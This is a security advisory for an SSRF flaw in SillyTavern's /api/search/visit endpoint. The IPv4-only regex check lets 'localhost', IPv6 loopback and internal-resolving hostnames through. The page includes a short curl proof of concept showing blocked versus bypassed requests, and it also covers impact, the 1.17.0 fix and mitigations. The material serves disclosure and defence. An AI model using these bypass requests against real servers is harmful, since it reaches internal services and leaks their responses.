SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6GHSA-wm7j-m6jm-8797
MEDIUMGHSA-wm7j-m6jm-8797 is a medium-severity (CVSS 5) Server-Side Request Forgery (SSRF) vulnerability in sillytavern. A fix is available for sillytavern — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-wm7j-m6jm-8797.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
sillytavernnpmDescription
Details
Distinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.
In src/endpoints/search.js line 419, the hostname is checked against /^\d+\.\d+\.\d+\.\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch:
localhost(hostname, not dotted-quad)[::1](IPv6 loopback)- DNS names resolving to internal addresses (e.g.
localtest.me-> 127.0.0.1)
A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.
PoC
- Start SillyTavern v1.16.0 normally
- Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):
# Blocked — dotted-quad matched by regex
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
-H "Content-Type: application/json" \
-d '{"url": "http://127.0.0.1/", "html": true}'
# Returns: 400 (blocked)
# Bypassed — "localhost" is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost/", "html": true}'
# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)
# Bypassed — IPv6 loopback is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
-H "Content-Type: application/json" \
-d '{"url": "http://[::1]/", "html": true}'
# Returns: 500 (passed validation, fetch attempted)
The 400 vs 500 difference confirms localhost and [::1] pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.
Impact
Server-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.
Resolution
The issue was addressed in version 1.17.0 by improving IPv6 address validation
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | sillytavern | all versions | 1.17.0npm install sillytavern@1.17.0 |
Affected Products
sillytavernsillytavernDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sillytavern, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update sillytavern to 1.17.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wm7j-m6jm-8797 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Frequently Asked Questions
Is GHSA-wm7j-m6jm-8797 in your dependencies?
Find it across npm, including transitive dependencies.